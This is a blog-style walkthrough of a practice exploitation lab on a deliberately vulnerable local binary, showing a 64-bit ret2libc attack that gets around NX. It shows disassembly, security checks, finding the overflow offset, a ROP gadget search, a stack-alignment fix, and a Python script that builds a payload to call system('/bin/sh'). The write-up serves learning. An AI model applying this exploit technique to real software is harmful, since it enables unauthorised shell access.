mulpdev@home:~$

Exploiting NX

For this topic I went with https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/

Disassembly

I made an effort to ignore the source code and use disassembly to identify the buffer overflow. I set the assembly flavor to be Intel for easier reading.

devel@kub:~/challenges/r2libc$ objdump -M intel -d ./ret2libc
<snip>
0000000000401176 <vuln>:
  401176:       f3 0f 1e fa             endbr64 
  40117a:       55                      push   rbp
  40117b:       48 89 e5                mov    rbp,rsp
  40117e:       48 83 ec 60             sub    rsp,0x60
  401182:       48 8d 45 a0             lea    rax,[rbp-0x60]
  401186:       ba 90 01 00 00          mov    edx,0x190
  40118b:       48 89 c6                mov    rsi,rax
  40118e:       bf 00 00 00 00          mov    edi,0x0
  401193:       e8 e8 fe ff ff          call   401080 <read@plt>
  401198:       89 45 fc                mov    DWORD PTR [rbp-0x4],eax
  40119b:       48 8d 55 a0             lea    rdx,[rbp-0x60]
  40119f:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
  4011a2:       89 c6                   mov    esi,eax
  4011a4:       48 8d 3d 59 0e 00 00    lea    rdi,[rip+0xe59]        # 402004 <_IO_stdin_used+0x4>
  4011ab:       b8 00 00 00 00          mov    eax,0x0
  4011b0:       e8 bb fe ff ff          call   401070 <printf@plt>
  4011b5:       48 8d 3d 63 0e 00 00    lea    rdi,[rip+0xe63]        # 40201f <_IO_stdin_used+0x1f>
  4011bc:       e8 9f fe ff ff          call   401060 <puts@plt>
  4011c1:       b8 00 00 00 00          mov    eax,0x0
  4011c6:       c9                      leave  
  4011c7:       c3                      ret    

00000000004011c8 <main>:
  4011c8:       f3 0f 1e fa             endbr64 
  4011cc:       55                      push   rbp
  4011cd:       48 89 e5                mov    rbp,rsp
  4011d0:       48 83 ec 10             sub    rsp,0x10
  4011d4:       89 7d fc                mov    DWORD PTR [rbp-0x4],edi
  4011d7:       48 89 75 f0             mov    QWORD PTR [rbp-0x10],rsi
  4011db:       48 8d 3d 51 0e 00 00    lea    rdi,[rip+0xe51]        # 402033 <_IO_stdin_used+0x33>
  4011e2:       b8 00 00 00 00          mov    eax,0x0
  4011e7:       e8 84 fe ff ff          call   401070 <printf@plt>
  4011ec:       b8 00 00 00 00          mov    eax,0x0
  4011f1:       e8 80 ff ff ff          call   401176 <vuln>
  4011f6:       b8 00 00 00 00          mov    eax,0x0
  4011fb:       c9                      leave  
  4011fc:       c3                      ret    
  4011fd:       0f 1f 00                nop    DWORD PTR [rax]
<snip>

The stack space created is 0x60 (96) bytes. We can tell from 401198: 89 45 fc mov DWORD PTR [rbp-0x4],eax and 401182: 48 8d 45 a0 lea rax,[rbp-0x60]

that there are two stack variables at least. The first one is 8 bytes (likely an int) which means there must be another 8 bytes of padding. The remaining 0x50 (80) bytes make up the stack buffer

So in the vuln function there is a buffer of at most 0x50 (80) bytes, but read is given a size of 0x190 (400) bytes.

checksec

Next up is to determine exactly what security protections are in place.

devel@kub:~/challenges/r2libc$ checksec --file ret2libc
[*] '/home/devel/challenges/r2libc/ret2libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


devel@kub:~/challenges/r2libc$ cat /proc/sys/kernel/randomize_va_space 
0

We know that DEP is enabled. DEP can be defeated with ROP.

Buffer Overflow

The first step in any buffer overflow is find the size of the overflow. I’m using PEDA.

I start gdb on the binary. First step is to make a pattern big enough to guarantee an overflow. 0x60 is 96 bytes, so I’ll make a pattern of 500 bytes just to be sure.

db-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"

Next I run the binary with in.txt as input.

gdb-peda$ r < in.txt
Try to exec /bin/sh
Read 400 bytes. buf is AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA�
No shell for you :(

Program received signal SIGSEGV, Segmentation fault.

64 bit doesn’t allow direct manipulation of RIP, so I need to look at RSP to see if I control that

gdb-peda$ x/wx $rsp
0x7fffffffe508: 0x41413741

gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104

The overflow occurs at 104 bytes in

ROP

NX is enabled so I need to use ROP. I’m going to abuse libc to execute a shell with system()

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7e16410 <system>

System takes a single parameter, a string containing the path of what to run.

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
ret2libc : 0x40203f --> 0x68732f6e69622f ('/bin/sh')
ret2libc : 0x40303f --> 0x68732f6e69622f ('/bin/sh')
    libc : 0x7ffff7f775aa --> 0x68732f6e69622f ('/bin/sh')

Finally, we need to put the /bin/sh string into RDI. For that we need a ROP gadget

devel@kub:~/challenges/r2libc$ ropper --file ret2libc --search "% ?di"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: % ?di

[INFO] File: ret2libc
0x000000000040111e: adc dword ptr [rax], edi; test rax, rax; je 0x1130; mov edi, 0x404040; jmp rax; 
0x00000000004010dc: adc edi, dword ptr [rax]; test rax, rax; je 0x10f0; mov edi, 0x404040; jmp rax; 
0x00000000004010de: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x10f0; mov edi, 0x404040; jmp rax; 
0x0000000000401120: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x1130; mov edi, 0x404040; jmp rax; 
0x00000000004010e0: add byte ptr [rax], al; test rax, rax; je 0x10f0; mov edi, 0x404040; jmp rax; 
0x0000000000401122: add byte ptr [rax], al; test rax, rax; je 0x1130; mov edi, 0x404040; jmp rax; 
0x00000000004011b0: call 0x1070; lea rdi, [rip + 0xe63]; call 0x1060; mov eax, 0; leave; ret; 
0x00000000004010db: je 0x10f0; mov eax, 0; test rax, rax; je 0x10f0; mov edi, 0x404040; jmp rax; 
0x00000000004010e5: je 0x10f0; mov edi, 0x404040; jmp rax; 
0x000000000040111d: je 0x1130; mov eax, 0; test rax, rax; je 0x1130; mov edi, 0x404040; jmp rax; 
0x0000000000401127: je 0x1130; mov edi, 0x404040; jmp rax; 
0x00000000004011b6: lea edi, [rip + 0xe63]; call 0x1060; mov eax, 0; leave; ret; 
0x00000000004011b5: lea rdi, [rip + 0xe63]; call 0x1060; mov eax, 0; leave; ret; 
0x00000000004010dd: mov eax, 0; test rax, rax; je 0x10f0; mov edi, 0x404040; jmp rax; 
0x000000000040111f: mov eax, 0; test rax, rax; je 0x1130; mov edi, 0x404040; jmp rax; 
0x00000000004011b1: mov ebx, 0x48fffffe; lea edi, [rip + 0xe63]; call 0x1060; mov eax, 0; leave; ret; 
0x00000000004010b2: mov edi, 0x4011c8; call qword ptr [rip + 0x2f32]; hlt; nop; endbr64; ret; 
0x00000000004010e7: mov edi, 0x404040; jmp rax; 
0x00000000004010b1: mov rdi, 0x4011c8; call qword ptr [rip + 0x2f32]; hlt; nop; endbr64; ret; 
0x00000000004010e6: or dword ptr [rdi + 0x404040], edi; jmp rax; 
0x0000000000401263: pop rdi; ret; 
0x00000000004010e3: test eax, eax; je 0x10f0; mov edi, 0x404040; jmp rax; 
0x0000000000401125: test eax, eax; je 0x1130; mov edi, 0x404040; jmp rax; 
0x00000000004010e2: test rax, rax; je 0x10f0; mov edi, 0x404040; jmp rax; 
0x0000000000401124: test rax, rax; je 0x1130; mov edi, 0x404040; jmp rax; 

stack alignment

When running my exploit, I kept getting a crash on the following

movaps XMMWORD PTR [rsp+0x40],xmm0

https://stackoverflow.com/questions/54393105/libcs-system-when-the-stack-pointer-is-not-16-padded-causes-segmentation-faul

tl;dr stack alignment MUST be 16 bytes. My shell code was 12. Pad it with a single ret ROP gadget

devel@kub:~/challenges/r2libc$ ropper --file ret2libc --search "ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret

[INFO] File: ret2libc
0x000000000040101a: ret; 

python

#!/usr/bin/python3
import struct

buflen = 104

payload = b"A" * buflen

#payload += struct.pack("<Q", 0x00000000004006a3)   # pop rdi; ret
#payload += struct.pack("<Q", 0x4006ff)             # ptr to "/bin/sh"
#payload += struct.pack("<Q", 0x7ffff7e16410)       # address of system()

payload += struct.pack("<Q", 0x000000000040101a)    # alignment ret; 
payload += struct.pack("<Q", 0x0000000000401263)    # pop rdi; ret 
payload += struct.pack("<Q", 0x40303f)              # ptr to "/bin/sh"
payload += struct.pack("<Q", 0x7ffff7e16410)        # address of system()


f = open("in.txt", "wb")
f.write(payload)
f.close()